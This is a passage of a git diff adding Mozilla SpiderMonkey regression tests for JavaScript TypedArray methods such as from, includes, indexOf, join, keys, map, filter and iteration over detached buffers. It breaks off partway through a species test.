+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/from_typedarray_fastpath_detached.js b/js/src/tests/non262/TypedArray/from_typedarray_fastpath_detached.js
new file mode 100644
index 0000000000..d1f574cb10
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/from_typedarray_fastpath_detached.js
@@ -0,0 +1,10 @@
+// Ensure the fast-path when TypedArray.from is called with a TypedArray still
+// checks for detached buffers.
+
+var ta = new Int32Array(4);
+detachArrayBuffer(ta.buffer);
+
+assertThrowsInstanceOf(() => Int32Array.from(ta), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/getter-name.js b/js/src/tests/non262/TypedArray/getter-name.js
new file mode 100644
index 0000000000..47050e3c1b
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/getter-name.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1180290;
+var summary = 'TypedArray getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+let TypedArray = Object.getPrototypeOf(Float32Array.prototype).constructor;
+
+assertEq(Object.getOwnPropertyDescriptor(TypedArray, Symbol.species).get.name, "get [Symbol.species]");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "buffer").get.name, "get buffer");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "byteLength").get.name, "get byteLength");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "byteOffset").get.name, "get byteOffset");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, "length").get.name, "get length");
+assertEq(Object.getOwnPropertyDescriptor(TypedArray.prototype, Symbol.toStringTag).get.name, "get [Symbol.toStringTag]");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/has-property-op.js b/js/src/tests/non262/TypedArray/has-property-op.js
new file mode 100644
index 0000000000..7ae70ef36d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/has-property-op.js
@@ -0,0 +1,22 @@
+for (var constructor of anyTypedArrayConstructors) {
+ var obj = new constructor(5);
+
+ for (var i = 0; i < obj.length; i++)
+ assertEq(i in obj, true);
+
+ for (var v of [20, 300, -1, 5, -10, Math.pow(2, 32) - 1, -Math.pow(2, 32)])
+ assertEq(v in obj, false);
+
+ // Don't inherit elements
+ obj.__proto__[50] = "hello";
+ assertEq(obj.__proto__[50], "hello");
+ assertEq(50 in obj, false);
+
+ // Do inherit normal properties
+ obj.__proto__.a = "world";
+ assertEq(obj.__proto__.a, "world");
+ assertEq("a" in obj, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/includes.js b/js/src/tests/non262/TypedArray/includes.js
new file mode 100644
index 0000000000..bcc50a2572
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/includes.js
@@ -0,0 +1,40 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.includes.length, 1);
+
+ assertEq(new constructor([1, 2, 3]).includes(1), true);
+ assertEq(new constructor([1, 2, 3]).includes(2), true);
+ assertEq(new constructor([1, 2, 3]).includes(3), true);
+ assertEq(new constructor([1, 2, 3]).includes(2, 1), true);
+ assertEq(new constructor([1, 2, 3]).includes(2, -2), true);
+ assertEq(new constructor([1, 2, 3]).includes(2, -100), true);
+
+ assertEq(new constructor([1, 2, 3]).includes("2"), false);
+ assertEq(new constructor([1, 2, 3]).includes(2, 2), false);
+ assertEq(new constructor([1, 2, 3]).includes(2, -1), false);
+ assertEq(new constructor([1, 2, 3]).includes(2, 100), false);
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var includes = newGlobal()[constructor.name].prototype.includes;
+ assertEq(includes.call(new constructor([1, 2, 3]), 2), true);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.includes.call(invalidReceiver);
+ }, TypeError, "Assert that reverse fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).includes(2), true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/indexOf-and-lastIndexOf.js b/js/src/tests/non262/TypedArray/indexOf-and-lastIndexOf.js
new file mode 100644
index 0000000000..c179f78502
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/indexOf-and-lastIndexOf.js
@@ -0,0 +1,123 @@
+// Tests for TypedArray#indexOf.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.indexOf.length, 1);
+
+ // Works with one argument.
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(0), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(1), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(5), 4);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(6), -1);
+ assertEq(new constructor([1, 2, 1, 2, 1]).indexOf(1), 0);
+
+ if (isFloatConstructor(constructor)) {
+ assertEq(new constructor([NaN, 0, -0]).indexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(0), 1);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(-0), 1);
+ } else {
+ // [NaN, 0, -0] will be coerced to [0, 0, 0]
+ assertEq(new constructor([NaN, 0, -0]).indexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(0), 0);
+ assertEq(new constructor([NaN, 0, -0]).indexOf(-0), 0);
+ }
+
+ // Works with two arguments.
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(1, 1), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(1, -100), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(3, 100), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).indexOf(5, -1), 4);
+ assertEq(new constructor([1, 2, 1, 2, 1]).indexOf(1, 2), 2);
+ assertEq(new constructor([1, 2, 1, 2, 1]).indexOf(1, -2), 4);
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.indexOf.call(invalidReceiver);
+ }, TypeError, "Assert that indexOf fails if this value is not a TypedArray");
+ });
+
+ // test that this.length is never called
+ assertEq(Object.defineProperty(new constructor([0, 1, 2, 3, 5]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).indexOf(1), 1);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ if (constructor.BYTES_PER_ELEMENT === 4) {
+ assertEq(new constructor([.1, .2, .3]).indexOf(.2), -1);
+ assertEq(new constructor([.1, .2, .3]).indexOf(Math.fround(.2)), 1);
+ } else {
+ assertEq(constructor.BYTES_PER_ELEMENT, 8);
+ assertEq(new constructor([.1, .2, .3]).indexOf(.2), 1);
+ }
+}
+
+// Tests for TypedArray#lastIndexOf.
+for (var constructor of anyTypedArrayConstructors) {
+
+ assertEq(constructor.prototype.lastIndexOf.length, 1);
+
+ // Works with one arguments.
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(0), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(1), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(5), 4);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(6), -1);
+ assertEq(new constructor([1, 2, 1, 2, 1]).lastIndexOf(1), 4);
+
+ if (isFloatConstructor(constructor)) {
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(0), 2);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(-0), 2);
+ } else {
+ // [NaN, 0, -0] will be coerced to [0, 0, 0].
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(NaN), -1);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(0), 2);
+ assertEq(new constructor([NaN, 0, -0]).lastIndexOf(-0), 2);
+ }
+
+ // Works with two arguments.
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(1, 1), 0);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(1, -100), -1);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(3, 100), 2);
+ assertEq(new constructor([1, 2, 3, 4, 5]).lastIndexOf(5, -1), 4);
+ assertEq(new constructor([1, 2, 1, 2, 1]).lastIndexOf(1, 2), 2);
+ assertEq(new constructor([1, 2, 1, 2, 1]).lastIndexOf(1, -2), 2);
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.lastIndexOf.call(invalidReceiver);
+ }, TypeError, "Assert that lastIndexOf fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([0, 1, 2, 3, 5]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).lastIndexOf(1), 1);
+
+ // Starts search at last index when fromIndex parameter is absent.
+ assertEq(new constructor([10, 20, 10]).lastIndexOf(10), 2);
+
+ // Starts search at first index when fromIndex parameter is undefined.
+ assertEq(new constructor([10, 20, 10]).lastIndexOf(10, undefined), 0);
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ if (constructor.BYTES_PER_ELEMENT === 4) {
+ assertEq(new constructor([.1, .2, .3]).lastIndexOf(.2), -1);
+ assertEq(new constructor([.1, .2, .3]).lastIndexOf(Math.fround(.2)), 1);
+ } else {
+ assertEq(constructor.BYTES_PER_ELEMENT, 8);
+ assertEq(new constructor([.1, .2, .3]).lastIndexOf(.2), 1);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/indexOf-never-returns-negative-zero.js b/js/src/tests/non262/TypedArray/indexOf-never-returns-negative-zero.js
new file mode 100644
index 0000000000..72f8342156
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/indexOf-never-returns-negative-zero.js
@@ -0,0 +1,7 @@
+var ta = new Uint8Array(1);
+ta[0] = 17;
+
+assertEq(ta.indexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/iterator-next-with-detached.js b/js/src/tests/non262/TypedArray/iterator-next-with-detached.js
new file mode 100644
index 0000000000..d6a31160a6
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/iterator-next-with-detached.js
@@ -0,0 +1,73 @@
+function checkResult(actual, expected)
+{
+ assertEq(actual.value, expected.value);
+ assertEq(actual.done, expected.done);
+}
+
+if (typeof detachArrayBuffer === "function" && typeof newGlobal === "function")
+{
+ var iteratorFunction = Uint8Array.prototype[Symbol.iterator];
+
+
+ var thisGlobal = this;
+ var otherGlobal = newGlobal();
+
+ var thisNext = new Uint8Array()[Symbol.iterator]().next
+
+ for (const constructor of typedArrayConstructors)
+ {
+ assertEq(new constructor()[Symbol.iterator]().next, thisNext);
+
+ var globals =
+ [
+ [thisGlobal, thisGlobal],
+ [thisGlobal, otherGlobal],
+ [otherGlobal, otherGlobal],
+ [otherGlobal, thisGlobal],
+ ];
+
+ for (const [arrayGlobal, bufferGlobal] of globals)
+ {
+ var arr, buffer, iterator;
+
+ function arrayBufferIterator()
+ {
+ var byteLength = 2 * constructor.BYTES_PER_ELEMENT;
+ var buf = new bufferGlobal.ArrayBuffer(byteLength);
+ var tarray = new arrayGlobal[constructor.name](buf);
+
+ tarray[0] = 1;
+ tarray[1] = 2;
+
+ return [tarray, buf, Reflect.apply(iteratorFunction, tarray, [])];
+ }
+
+ [arr, buffer, iterator] = arrayBufferIterator();
+ checkResult(thisNext.call(iterator), {value: 1, done: false});
+ checkResult(thisNext.call(iterator), {value: 2, done: false});
+ checkResult(thisNext.call(iterator), {value: undefined, done: true});
+
+ // Test an exhausted iterator.
+ bufferGlobal.detachArrayBuffer(buffer);
+ checkResult(thisNext.call(iterator), {value: undefined, done: true});
+
+ // Test an all-but-exhausted iterator.
+ [arr, buffer, iterator] = arrayBufferIterator();
+ checkResult(thisNext.call(iterator), {value: 1, done: false});
+ checkResult(thisNext.call(iterator), {value: 2, done: false});
+
+ bufferGlobal.detachArrayBuffer(buffer);
+ assertThrowsInstanceOf(() => thisNext.call(iterator), TypeError);
+
+ // Test an unexhausted iterator.
+ [arr, buffer, iterator] = arrayBufferIterator();
+ checkResult(thisNext.call(iterator), {value: 1, done: false});
+
+ bufferGlobal.detachArrayBuffer(buffer);
+ assertThrowsInstanceOf(() => thisNext.call(iterator), TypeError);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/iterator.js b/js/src/tests/non262/TypedArray/iterator.js
new file mode 100644
index 0000000000..3f943aa70d
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/iterator.js
@@ -0,0 +1,42 @@
+// Ensure that we're using [[ArrayLength]] to determine the number of
+// values to produce instead of the length property.
+
+function testIterationCount(iterator, expectedLength) {
+ for (let i = 0; i < expectedLength; i++)
+ assertEq(iterator.next().done, false);
+ assertEq(iterator.next().done, true);
+}
+
+let i8Array = new Int8Array(4);
+Object.defineProperty(i8Array, "length", {value: 0});
+let i8Iterator = i8Array[Symbol.iterator]();
+testIterationCount(i8Iterator, 4);
+
+// Veryify that the length property isn't even touched
+i8Array = new Int8Array();
+Object.defineProperty(i8Array, "length", {
+ get() {
+ throw TypeError;
+ }
+});
+i8Iterator = i8Array[Symbol.iterator]();
+testIterationCount(i8Iterator, 0);
+
+// Verify that it works for set as well
+i8Array = new Uint8Array(1);
+// Try setting a high length which would trigger failure
+Object.defineProperty(i8Array, "length", {value: 15});
+// Works if the fake length is ignored
+(new Uint8Array(4)).set(i8Array, 3);
+
+// Ensure that it works across globals
+let g2 = newGlobal();
+
+i8Array = new Int8Array(8);
+Object.defineProperty(i8Array, "length", {value: 0});
+let iterator = i8Array[Symbol.iterator]();
+iterator.next = g2.Array.prototype[Symbol.iterator]().next;
+testIterationCount(iterator, 8);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/join.js b/js/src/tests/non262/TypedArray/join.js
new file mode 100644
index 0000000000..0e797320fd
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/join.js
@@ -0,0 +1,48 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.join.length, 1);
+
+ assertEq(new constructor([1, 2, 3]).join(), "1,2,3");
+ assertEq(new constructor([1, 2, 3]).join(undefined), "1,2,3");
+ assertEq(new constructor([1, 2, 3]).join(null), "1null2null3");
+ assertEq(new constructor([1, 2, 3]).join(""), "123");
+ assertEq(new constructor([1, 2, 3]).join("+"), "1+2+3");
+ assertEq(new constructor([1, 2, 3]).join(.1), "10.120.13");
+ assertEq(new constructor([1, 2, 3]).join({toString(){return "foo"}}), "1foo2foo3");
+ assertEq(new constructor([1]).join("-"), "1");
+ assertEq(new constructor().join(), "");
+ assertEq(new constructor().join("*"), "");
+ assertEq(new constructor(1).join(), "0");
+ assertEq(new constructor(3).join(), "0,0,0");
+
+ assertThrowsInstanceOf(() => new constructor().join({toString(){throw new TypeError}}), TypeError);
+ assertThrowsInstanceOf(() => new constructor().join(Symbol()), TypeError);
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var join = newGlobal()[constructor.name].prototype.join;
+ assertEq(join.call(new constructor([1, 2, 3]), "\t"), "1\t2\t3");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.join.call(invalidReceiver);
+ }, TypeError, "Assert that join fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).join("\0"), "1\0002\0003");
+}
+
+for (let constructor of anyTypedArrayConstructors.filter(isFloatConstructor)) {
+ assertDeepEq(new constructor([null, , NaN]).join(), "0,NaN,NaN");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/keys.js b/js/src/tests/non262/TypedArray/keys.js
new file mode 100644
index 0000000000..88477cd758
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/keys.js
@@ -0,0 +1,36 @@
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.keys.length, 0);
+ assertEq(constructor.prototype.keys.name, "keys");
+
+ assertDeepEq([...new constructor(0).keys()], []);
+ assertDeepEq([...new constructor(1).keys()], [0]);
+ assertDeepEq([...new constructor(2).keys()], [0, 1]);
+ assertDeepEq([...new constructor([15]).keys()], [0]);
+
+ var arr = new constructor([1, 2, 3]);
+ var iterator = arr.keys();
+ assertDeepEq(iterator.next(), {value: 0, done: false});
+ assertDeepEq(iterator.next(), {value: 1, done: false});
+ assertDeepEq(iterator.next(), {value: 2, done: false});
+ assertDeepEq(iterator.next(), {value: undefined, done: true});
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var keys = newGlobal()[constructor.name].prototype.keys;
+ assertDeepEq([...keys.call(new constructor(2))], [0, 1]);
+ arr = new (newGlobal()[constructor.name])(2);
+ assertEq([...constructor.prototype.keys.call(arr)].toString(), "0,1");
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.keys.call(invalidReceiver);
+ }, TypeError, "Assert that keys fails if this value is not a TypedArray");
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/large-arrays.js b/js/src/tests/non262/TypedArray/large-arrays.js
new file mode 100644
index 0000000000..feb0e05ac6
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/large-arrays.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// Test that we can access TypedArrays beyond the 4GB mark, if large buffers are
+// supported.
+
+const gb = 1024 * 1024 * 1024;
+
+if (largeArrayBufferSupported()) {
+ for (let TA of typedArrayConstructors) {
+ let ta = new TA(6*gb / TA.BYTES_PER_ELEMENT);
+
+ // Set element at the 5GB mark
+ ta[5*gb / TA.BYTES_PER_ELEMENT] = 37;
+
+ // Check that it was set
+ assertEq(ta[5*gb / TA.BYTES_PER_ELEMENT], 37);
+
+ // Check that we're not operating mod 4GB
+ assertEq(ta[1*gb / TA.BYTES_PER_ELEMENT], 0);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/lastIndexOf-never-returns-negative-zero.js b/js/src/tests/non262/TypedArray/lastIndexOf-never-returns-negative-zero.js
new file mode 100644
index 0000000000..bffc05af73
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/lastIndexOf-never-returns-negative-zero.js
@@ -0,0 +1,7 @@
+var ta = new Uint8Array(1);
+ta[0] = 17;
+
+assertEq(ta.lastIndexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/length.js b/js/src/tests/non262/TypedArray/length.js
new file mode 100644
index 0000000000..7ed79b4954
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/length.js
@@ -0,0 +1,14 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const TypedArray = Object.getPrototypeOf(Int32Array);
+
+assertEq(TypedArray.length, 0);
+
+assertDeepEq(Object.getOwnPropertyDescriptor(TypedArray, "length"), {
+ value: 0, writable: false, enumerable: false, configurable: true,
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/TypedArray/map-and-filter.js b/js/src/tests/non262/TypedArray/map-and-filter.js
new file mode 100644
index 0000000000..0d86fc02b2
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/map-and-filter.js
@@ -0,0 +1,274 @@
+// Tests for TypedArray#map.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.map.length, 1);
+
+ // Basic tests.
+ assertDeepEq(new constructor([1, 3, 5]).map(v => v * 2), new constructor([2,6,10]));
+ assertDeepEq(new constructor([-1, 13, 5]).map(v => v - 2), new constructor([-3, 11, 3]));
+ assertDeepEq(new constructor(10).map(v => v), new constructor(10));
+ assertDeepEq(new constructor().map(v => v + 1), new constructor);
+ assertDeepEq(new constructor([1,2,3]).map(v => v), new constructor([1,2,3]));
+
+ var arr = new constructor([1, 2, 3, 4, 5]);
+ var sum = 0;
+ var count = 0;
+ assertDeepEq(arr.map((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return v;
+ }), arr);
+ assertEq(sum, 15);
+ assertEq(count, 5);
+
+ // Test that changing elements that have been visited does not affect the result.
+ var changeArr = new constructor([1,2,3,4,5]);
+ assertDeepEq(arr.map((v,k) => {
+ changeArr[k] = v + 1;
+ return v;
+ }), new constructor([1,2,3,4,5]));
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertDeepEq(arr.map(function(v) {
+ assertDeepEq(this, thisValue);
+ return v;
+ }, thisArg), arr);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertDeepEq(arr.map(function(v) {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return v;
+ }, thisArg), arr);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertDeepEq(arr.map((v) => {
+ assertEq(this, self);
+ return v;
+ }, thisArg), arr);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.map((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "map";
+ }
+ return v;
+ })
+ } catch(e) {
+ assertEq(e, "map");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.map();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.map(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.map(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var map = newGlobal()[constructor.name].prototype.map;
+ var sum = 0;
+ assertDeepEq(map.call(new constructor([1, 2, 3]), v => sum += v), new constructor([1,3,6]));
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.filter.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that map fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertDeepEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).map((b) => b), new constructor([1,2,3]));
+}
+
+// Test For TypedArray#filter.
+for (var constructor of anyTypedArrayConstructors) {
+ assertEq(constructor.prototype.filter.length, 1)
+
+ // Basic tests.
+ assertDeepEq(new constructor([1,2,3]).filter(x => x == x), new constructor([1,2,3]));
+ assertDeepEq(new constructor([1,2,3,4]).filter(x => x % 2 == 0), new constructor([2,4]));
+ assertDeepEq(new constructor([1,2,3,4,5]).filter(x => x < 4), new constructor([1,2,3]));
+ assertDeepEq(new constructor().filter(x => x * 2 == 4), new constructor());
+
+ var arr = new constructor([1,2,3,4,5]);
+ var sum = 0;
+ var count = 0;
+ assertDeepEq(arr.filter((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ return (v < 4);
+ }), new constructor([1,2,3]));
+ assertEq(sum, 15);
+ assertEq(count, 5);
+
+ // Test that changing elements that have been visited does not affect the result.
+ var changeArr = new constructor([1,2,3,4,5]);
+ assertDeepEq(arr.filter((v,k) => {
+ changeArr[k] = v + 1;
+ return true;
+ }), new constructor([1,2,3,4,5]));
+
+ // Tests for `thisArg` argument.
+ function assertThisArg(thisArg, thisValue) {
+ // In sloppy mode, `this` could be global object or a wrapper of `thisArg`.
+ assertDeepEq(arr.filter(function(v) {
+ assertDeepEq(this, thisValue);
+ return v;
+ }, thisArg), arr);
+
+ // In strict mode, `this` strictly equals `thisArg`.
+ assertDeepEq(arr.filter(function(v) {
+ "use strict";
+ assertDeepEq(this, thisArg);
+ return v;
+ }, thisArg), arr);
+
+ // Passing `thisArg` has no effect if callback is an arrow function.
+ var self = this;
+ assertDeepEq(arr.filter((v) => {
+ assertEq(this, self);
+ return v;
+ }, thisArg), arr);
+ }
+ assertThisArg([1, 2, 3], [1, 2, 3]);
+ assertThisArg(Object, Object);
+ assertThisArg(1, Object(1));
+ assertThisArg("1", Object("1"));
+ assertThisArg(false, Object(false));
+ assertThisArg(undefined, this);
+ assertThisArg(null, this);
+
+ // Throw an exception in the callback.
+ var sum = 0;
+ var count = 0;
+ var thrown = false;
+ try {
+ arr.filter((v, k, o) => {
+ count++;
+ sum += v;
+ assertEq(k, v - 1);
+ assertEq(o, arr);
+ if (v === 3) {
+ throw "filter";
+ }
+ return v;
+ })
+ } catch(e) {
+ assertEq(e, "filter");
+ thrown = true;
+ }
+ assertEq(thrown, true);
+ assertEq(sum, 6);
+ assertEq(count, 3);
+
+ // There is no callback or callback is not a function.
+ assertThrowsInstanceOf(() => {
+ arr.filter();
+ }, TypeError);
+ var invalidCallbacks = [undefined, null, 1, false, "", Symbol(), [], {}, /./];
+ invalidCallbacks.forEach(callback => {
+ assertThrowsInstanceOf(() => {
+ arr.filter(callback);
+ }, TypeError);
+ })
+
+ // Callback is a generator.
+ arr.filter(function*(){
+ throw "This line will not be executed";
+ });
+
+ // Called from other globals.
+ if (typeof newGlobal === "function") {
+ var filter = newGlobal()[constructor.name].prototype.filter;
+ var sum = 0;
+ assertDeepEq(filter.call(new constructor([1, 2, 3]), v => {sum += v; return true}),
+ new constructor([1,2,3]));
+ assertEq(sum, 6);
+ }
+
+ // Throws if `this` isn't a TypedArray.
+ var invalidReceivers = [undefined, null, 1, false, "", Symbol(), [], {}, /./,
+ new Proxy(new constructor(), {})];
+ invalidReceivers.forEach(invalidReceiver => {
+ assertThrowsInstanceOf(() => {
+ constructor.prototype.filter.call(invalidReceiver, () => true);
+ }, TypeError, "Assert that filter fails if this value is not a TypedArray");
+ });
+
+ // Test that the length getter is never called.
+ assertDeepEq(Object.defineProperty(new constructor([1, 2, 3]), "length", {
+ get() {
+ throw new Error("length accessor called");
+ }
+ }).filter((b) => true), new constructor([1,2,3]));
+}
+
+// Test that changing Array.prototype[Symbol.iterator] does not affect the
+// behaviour of filter. See https://bugzilla.mozilla.org/show_bug.cgi?id=1121936#c18
+// for more details.
+
+var arr = new Uint16Array([1,2,3]);
+
+// save
+var old = Array.prototype[Symbol.iterator];
+
+Array.prototype[Symbol.iterator] = () => { throw new Error("unreachable"); };
+assertDeepEq(arr.filter(v => true), arr);
+
+// restore
+Array.prototype[Symbol.iterator] = old;
+
+// Test that defining accessors on Array.prototype doesn't affect the behaviour
+// of filter. See https://bugzilla.mozilla.org/show_bug.cgi?id=1121936#c18
+// for more details.
+Object.defineProperty(Array.prototype, 0, {configurable: true, get: function() { return 1; }, set: function() { this.b = 1; }});
+assertDeepEq(new Uint16Array([1,2,3]).filter(v => true), new Uint16Array([1,2,3]));
+delete Array.prototype[0];
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/TypedArray/map-species.js b/js/src/tests/non262/TypedArray/map-species.js
new file mode 100644
index 0000000000..8353d914bd
--- /dev/null
+++ b/js/src/tests/non262/TypedArray/map-species.js
@@ -0,0 +1,56 @@
+function test(constructor, constructor2, from=[1, 2, 3, 4, 5], to=[2, 4, 6, 8, 10]) {
+ var modifiedConstructor = new constructor(from);
+ modifiedConstructor.constructor = constructor2;
+ assertDeepEq(modifiedConstructor.map(x => x * 2), new constructor2(to));
